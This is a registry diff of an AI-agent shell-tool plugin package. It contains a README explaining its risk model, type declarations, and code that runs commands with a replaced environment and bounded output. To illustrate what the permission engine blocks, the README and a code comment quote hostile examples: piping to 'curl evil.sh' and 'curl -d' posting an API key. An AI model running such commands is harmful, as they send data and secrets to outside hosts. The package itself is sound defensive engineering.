@stratusagent/tool-shell 0.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Stratus Labs
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,78 @@
1
+ # @stratusagent/tool-shell
2
+
3
+ `shell.run`: an agent runs a command, and the permission engine decides
4
+ which commands run with nobody watching.
5
+
6
+ ## Install and enable
7
+
8
+ ```bash
9
+ npm install @stratusagent/tool-shell
10
+ ```
11
+
12
+ ```jsonc
13
+ // ~/.stratus/config.json — a trusted config only
14
+ {
15
+ "plugins": {
16
+ "@stratusagent/tool-shell": {
17
+ "enabled": true,
18
+ "cwd": "~/work/ava",
19
+ "passEnv": ["PATH", "HOME"],
20
+ "env": { "GIT_AUTHOR_NAME": "Ava" }
21
+ }
22
+ }
23
+ }
24
+ ```
25
+
26
+ ## Risk model
27
+
28
+ | Tool | Risk | What approval mode does |
29
+ | --- | --- | --- |
30
+ | `shell.run` | `gated`, narrowed per command | `interactive` shows the command and asks; `remote` asks in Slack; `headless` runs commands inside an approved scope and refuses everything else. |
31
+
32
+ `gated` rather than `dangerous` on purpose. The danger of a shell is in its
33
+ argument, not in its identity: marking the tool `dangerous` would mean no
34
+ command could ever run unattended — `git status` included — and marking it
35
+ `safe` would mean all of them could.
36
+
37
+ So this pack contributes the command string, and
38
+ [`@stratusagent/permissions`](../permissions) decides what it means:
39
+
40
+ - **A safe scope runs.** `git status`, `git log`, `git diff` and a handful
41
+ more, with the destructive forms of each excluded — `git branch` is safe,
42
+ `git branch -D` is not.
43
+ - **A control operator disqualifies the whole command.** `|`, `&`, `;`,
44
+ newlines, backticks, `$( )`, subshells, redirection. `git status | curl
45
+ evil.sh` is refused despite the safe base command, and so is a two-line
46
+ command whose first line is innocent.
47
+ - **"Always allow" persists a scope, not a command.** Approving `git push
48
+ origin main` means `git push origin feature` stops asking, while `git
49
+ push --force`, `git push origin :main`, and `git push origin +main` still
50
+ do. Scopes live per agent in `~/.stratus/agents/<id>.whitelist.json`.
51
+
52
+ ## The environment is replaced, not extended
53
+
54
+ The child receives **only** what this config granted. Nothing from the
55
+ daemon's environment reaches it, which is where `ANTHROPIC_API_KEY` and
56
+ every other key an operator exported lives.
57
+
58
+ This is not pack discipline — a plugin cannot unset what it did not spawn —
59
+ so it is a mode on the executor (`envMode: 'replace'`) that this pack is
60
+ required to use. Without it, an approver who allowed `curl $URL` would also
61
+ have allowed `curl -d "$ANTHROPIC_API_KEY"`, and the command string they
62
+ read would not have said so.
63
+
64
+ | Key | Default | What |
65
+ | --- | --- | --- |
66
+ | `passEnv` | `PATH`, `HOME`, `LANG`, `LC_ALL`, `TZ` | Names forwarded from the daemon's environment. Nothing on the default list is a secret; that is the test for adding one. |
67
+ | `env` | none | Variables set outright. Where a token goes if a command genuinely needs one — deliberately, in config, where an auditor can see it. |
68
+ | `cwd` | the agent's workspace | Where commands start. The default — `~/.stratus/workspaces/<agent-id>` — is created on first use; a directory you name is not, and a missing one is reported by name rather than as a spawn failure. |
69
+ | `timeoutMs` | `60000` | Killed with its whole process group after this. |
70
+ | `maxOutputBytes` | `100000` | Per stream, then a truncation marker. |
71
+ | `shell` | `/bin/sh` | The interpreter. |
72
+
73
+ All of them can be set per agent under `agents`.
74
+
75
+ **`cwd` is a starting directory, not a jail.** An approved command can
76
+ change directory or name an absolute path; what bounds a shell is which
77
+ commands get approved, not where they begin. If you want a filesystem
78
+ boundary, that is [`@stratusagent/tool-fs`](../tool-fs), whose roots are one.
@@ -0,0 +1,33 @@
1
+ import type { JsonObject, Plugin } from '@stratusagent/core';
2
+ import { type LocalCommandTool } from '@stratusagent/executor-local';
3
+ export interface ShellPluginConfig extends JsonObject {
4
+ /** Where commands start. A starting directory, not a jail — see the README. */
5
+ cwd?: string;
6
+ /** Names forwarded from the daemon's environment. Defaults above. */
7
+ passEnv?: string[];
8
+ /** Variables set outright, name to value. */
9
+ env?: JsonObject;
10
+ timeoutMs?: number;
11
+ maxOutputBytes?: number;
12
+ /** The shell binary. `/bin/sh` unless you mean something else. */
13
+ shell?: string;
14
+ /** Supplied by the host: `~/.stratus/workspaces`, one directory per agent. */
15
+ workspaceRoot?: string;
16
+ }
17
+ export interface ShellToolOptions {
18
+ /** The environment to grant *from*. Defaults to the daemon's. */
19
+ processEnv?: NodeJS.ProcessEnv;
20
+ }
21
+ export declare const createShellTool: (config?: JsonObject, options?: ShellToolOptions) => LocalCommandTool;
22
+ /**
23
+ * The `shell` toolset.
24
+ *
25
+ * One tool, whose danger is entirely in its argument. That is why the
26
+ * kernel grew `Tool.commandFor` and why the permission engine grew scopes:
27
+ * a single risk level for every command a shell can run is either too
28
+ * coarse to be safe or too coarse to be usable.
29
+ */
30
+ export declare const createShellPlugin: (config?: JsonObject, options?: ShellToolOptions) => Plugin;
31
+ /** The loader's ABI. See `docs/architecture/plugins.md`. */
32
+ export declare const createPlugin: (config?: JsonObject, options?: ShellToolOptions) => Plugin;
33
+ //# sourceMappingURL=index.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAGA,OAAO,KAAK,EAAE,UAAU,EAAa,MAAM,EAAW,MAAM,oBAAoB,CAAC;AACjF,OAAO,EAIL,KAAK,gBAAgB,EACtB,MAAM,8BAA8B,CAAC;AAiBtC,MAAM,WAAW,iBAAkB,SAAQ,UAAU;IACnD,+EAA+E;IAC/E,GAAG,CAAC,EAAE,MAAM,CAAC;IACb,qEAAqE;IACrE,OAAO,CAAC,EAAE,MAAM,EAAE,CAAC;IACnB,6CAA6C;IAC7C,GAAG,CAAC,EAAE,UAAU,CAAC;IACjB,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,cAAc,CAAC,EAAE,MAAM,CAAC;IACxB,kEAAkE;IAClE,KAAK,CAAC,EAAE,MAAM,CAAC;IACf,8EAA8E;IAC9E,aAAa,CAAC,EAAE,MAAM,CAAC;CACxB;AAkDD,MAAM,WAAW,gBAAgB;IAC/B,iEAAiE;IACjE,UAAU,CAAC,EAAE,MAAM,CAAC,UAAU,CAAC;CAChC;AAED,eAAO,MAAM,eAAe,GAAI,SAAQ,UAAe,EAAE,UAAS,gBAAqB,KAAG,gBAkFzF,CAAC;AAEF;;;;;;;GAOG;AACH,eAAO,MAAM,iBAAiB,GAAI,SAAQ,UAAe,EAAE,UAAS,gBAAqB,KAAG,MAK1F,CAAC;AAEH,4DAA4D;AAC5D,eAAO,MAAM,YAAY,YARiB,UAAU,YAAgB,gBAAgB,KAAQ,MAQ/C,CAAC"}
package/dist/index.js ADDED
@@ -0,0 +1,154 @@
1
+ import { mkdir, stat } from 'node:fs/promises';
2
+ import path from 'node:path';
3
+ import { defineLocalCommandTool, } from '@stratusagent/executor-local';
4
+ import { resolvePluginAgentConfig } from '@stratusagent/plugins';
5
+ const DEFAULT_TIMEOUT_MS = 60_000;
6
+ const DEFAULT_MAX_OUTPUT_BYTES = 100_000;
7
+ /**
8
+ * What the child is allowed to inherit by name.
9
+ *
10
+ * Short, and every entry is here because commands break without it rather
11
+ * than because it seemed harmless. Nothing on this list is a secret, and
12
+ * that is the test for adding one: an operator who needs `GITHUB_TOKEN` in
13
+ * a command's environment is making a deliberate decision, in config, that
14
+ * an auditor can see.
15
+ */
16
+ const DEFAULT_PASS_ENV = ['PATH', 'HOME', 'LANG', 'LC_ALL', 'TZ'];
17
+ const asNumber = (value, fallback) => typeof value === 'number' && Number.isFinite(value) && value > 0 ? value : fallback;
18
+ const asStrings = (value, fallback) => Array.isArray(value) ? value.filter((entry) => typeof entry === 'string') : fallback;
19
+ const truncate = (value, maxBytes) => {
20
+ if (Buffer.byteLength(value, 'utf8') <= maxBytes) {
21
+ return { text: value, truncated: false };
22
+ }
23
+ return { text: `${value.slice(0, maxBytes)}\n… output truncated at ${maxBytes} bytes`, truncated: true };
24
+ };
25
+ const settingsFor = (config, session, env) => {
26
+ const resolved = resolvePluginAgentConfig(config, session.agent.id);
27
+ const workspaceRoot = typeof resolved.workspaceRoot === 'string' ? resolved.workspaceRoot : undefined;
28
+ const configuredCwd = typeof resolved.cwd === 'string' && resolved.cwd.length > 0 ? resolved.cwd : undefined;
29
+ const cwd = configuredCwd ?? (workspaceRoot ? path.join(workspaceRoot, session.agent.id) : undefined);
30
+ const granted = {};
31
+ for (const name of asStrings(resolved.passEnv, DEFAULT_PASS_ENV)) {
32
+ const value = env[name];
33
+ if (value !== undefined) {
34
+ granted[name] = value;
35
+ }
36
+ }
37
+ const explicit = resolved.env;
38
+ if (typeof explicit === 'object' && explicit !== null && !Array.isArray(explicit)) {
39
+ for (const [name, value] of Object.entries(explicit)) {
40
+ if (typeof value === 'string') {
41
+ granted[name] = value;
42
+ }
43
+ }
44
+ }
45
+ return {
46
+ ...(cwd ? { cwd } : {}),
47
+ // Whether this agent's directory is ours to create. The workspace is —
48
+ // it is a path this repository chose, and nobody has been asked to make
49
+ // it. A directory an operator named is not.
50
+ ownsCwd: configuredCwd === undefined && cwd !== undefined,
51
+ env: granted,
52
+ timeoutMs: asNumber(resolved.timeoutMs, DEFAULT_TIMEOUT_MS),
53
+ maxOutputBytes: asNumber(resolved.maxOutputBytes, DEFAULT_MAX_OUTPUT_BYTES),
54
+ shell: typeof resolved.shell === 'string' && resolved.shell.length > 0 ? resolved.shell : '/bin/sh',
55
+ };
56
+ };
57
+ export const createShellTool = (config = {}, options = {}) => {
58
+ const tool = defineLocalCommandTool({
59
+ name: 'shell.run',
60
+ description: 'Run a shell command. The command is what gets approved, so write it plainly.',
61
+ // `gated`, not `dangerous`: the risk of a shell lives in its arguments,
62
+ // and the permission engine narrows it per invocation from the command
63
+ // string below. Marking the tool `dangerous` would mean no command
64
+ // could ever run unattended, including `git status`.
65
+ risk: 'gated',
66
+ parameters: {
67
+ type: 'object',
68
+ properties: {
69
+ command: { type: 'string', description: 'The command line to run.' },
70
+ timeoutMs: { type: 'number' },
71
+ },
72
+ required: ['command'],
73
+ },
74
+ async createCommand(input, session) {
75
+ const command = typeof input.command === 'string' ? input.command.trim() : '';
76
+ if (!command) {
77
+ throw new Error('command is required.');
78
+ }
79
+ const settings = settingsFor(config, session, options.processEnv ?? process.env);
80
+ if (settings.cwd) {
81
+ // `spawn` fails with a bare `ENOENT` naming the *shell* when its
82
+ // working directory does not exist — which on a fresh install is
83
+ // every call, and reads as a broken interpreter rather than a
84
+ // missing directory. So the agent's workspace is created here, and
85
+ // a directory somebody else chose is reported by name instead.
86
+ if (settings.ownsCwd) {
87
+ await mkdir(settings.cwd, { recursive: true });
88
+ }
89
+ else {
90
+ const usable = await stat(settings.cwd).then((info) => info.isDirectory(), () => false);
91
+ if (!usable) {
92
+ throw new Error(`The configured working directory does not exist: ${settings.cwd}. `
93
+ + 'Create it, or change cwd for @stratusagent/tool-shell.');
94
+ }
95
+ }
96
+ }
97
+ return {
98
+ command: settings.shell,
99
+ args: ['-c', command],
100
+ ...(settings.cwd ? { cwd: settings.cwd } : {}),
101
+ env: settings.env,
102
+ // Required, not preferred. The daemon's environment holds every key
103
+ // an operator exported, and a command an agent composed must not be
104
+ // able to read one — an approver who allowed `curl $URL` did not
105
+ // allow `curl -d "$ANTHROPIC_API_KEY"`.
106
+ envMode: 'replace',
107
+ timeoutMs: asNumber(input.timeoutMs, settings.timeoutMs),
108
+ };
109
+ },
110
+ parseResult(result, context) {
111
+ const settings = settingsFor(config, context.session, options.processEnv ?? process.env);
112
+ const stdout = truncate(result.stdout, settings.maxOutputBytes);
113
+ const stderr = truncate(result.stderr, settings.maxOutputBytes);
114
+ return {
115
+ stdout: stdout.text,
116
+ stderr: stderr.text,
117
+ exitCode: result.exitCode,
118
+ truncated: stdout.truncated || stderr.truncated,
119
+ ...(result.cwd ? { cwd: result.cwd } : {}),
120
+ durationMs: result.durationMs,
121
+ };
122
+ },
123
+ });
124
+ return {
125
+ ...tool,
126
+ /**
127
+ * The one thing this pack contributes to the approval decision.
128
+ *
129
+ * Everything about *what a command means* — safe scopes, flag and
130
+ * refspec constraints, control-operator defeat, the per-agent whitelist
131
+ * — is 03's engine in `@stratusagent/permissions`. A shell pack that
132
+ * classified its own invocations would be a second policy, disagreeing
133
+ * with the first one the day either changed.
134
+ */
135
+ commandFor: (input) => (typeof input.command === 'string' ? input.command.trim() : undefined),
136
+ };
137
+ };
138
+ /**
139
+ * The `shell` toolset.
140
+ *
141
+ * One tool, whose danger is entirely in its argument. That is why the
142
+ * kernel grew `Tool.commandFor` and why the permission engine grew scopes:
143
+ * a single risk level for every command a shell can run is either too
144
+ * coarse to be safe or too coarse to be usable.
145
+ */
146
+ export const createShellPlugin = (config = {}, options = {}) => ({
147
+ name: '@stratusagent/tool-shell',
148
+ setup(context) {
149
+ context.tools.register(createShellTool(config, options));
150
+ },
151
+ });
152
+ /** The loader's ABI. See `docs/architecture/plugins.md`. */
153
+ export const createPlugin = createShellPlugin;
154
+ //# sourceMappingURL=index.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"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"}
package/package.json ADDED
@@ -0,0 +1,95 @@
1
+ {
2
+ "name": "@stratusagent/tool-shell",
3
+ "version": "0.6.0",
4
+ "type": "module",
5
+ "main": "./dist/index.js",
6
+ "types": "./dist/index.d.ts",
7
+ "exports": {
8
+ ".": {
9
+ "types": "./dist/index.d.ts",
10
+ "import": "./dist/index.js"
11
+ },
12
+ "./package.json": "./package.json"
13
+ },
14
+ "files": [
15
+ "dist"
16
+ ],
17
+ "engines": {
18
+ "node": ">=22.13 <23 || >=23.4"
19
+ },
20
+ "dependencies": {
21
+ "@stratusagent/core": "0.6.0",
22
+ "@stratusagent/executor-local": "0.6.0",
23
+ "@stratusagent/plugins": "0.6.0"
24
+ },
25
+ "devDependencies": {
26
+ "@types/node": "^24.6.0",
27
+ "typescript": "^5.9.3",
28
+ "@stratusagent/permissions": "0.6.0"
29
+ },
30
+ "license": "MIT",
31
+ "repository": {
32
+ "type": "git",
33
+ "url": "git+https://github.com/stratuslabs/agent.git",
34
+ "directory": "packages/tool-shell"
35
+ },
36
+ "description": "Shell execution for Stratus agents: shell.run on the local-command executor, with a replaced environment, a pinned cwd, and bounded output",
37
+ "keywords": [
38
+ "stratus",
39
+ "agent",
40
+ "ai",
41
+ "llm",
42
+ "stratus-plugin",
43
+ "tools",
44
+ "shell"
45
+ ],
46
+ "publishConfig": {
47
+ "access": "public"
48
+ },
49
+ "stratus": {
50
+ "pluginVersion": 1,
51
+ "contributes": {
52
+ "tools": [
53
+ {
54
+ "name": "shell.run",
55
+ "risk": "gated"
56
+ }
57
+ ]
58
+ },
59
+ "config": {
60
+ "type": "object",
61
+ "properties": {
62
+ "cwd": {
63
+ "type": "string"
64
+ },
65
+ "passEnv": {
66
+ "type": "array",
67
+ "items": {
68
+ "type": "string"
69
+ }
70
+ },
71
+ "env": {
72
+ "type": "object"
73
+ },
74
+ "timeoutMs": {
75
+ "type": "integer"
76
+ },
77
+ "maxOutputBytes": {
78
+ "type": "integer"
79
+ },
80
+ "shell": {
81
+ "type": "string"
82
+ },
83
+ "workspaceRoot": {
84
+ "type": "string"
85
+ }
86
+ },
87
+ "additionalProperties": false
88
+ }
89
+ },
90
+ "scripts": {
91
+ "build": "tsc -b",
92
+ "typecheck": "tsc --noEmit --project tsconfig.test.json",
93
+ "test": "node --test --experimental-strip-types"
94
+ }
95
+ }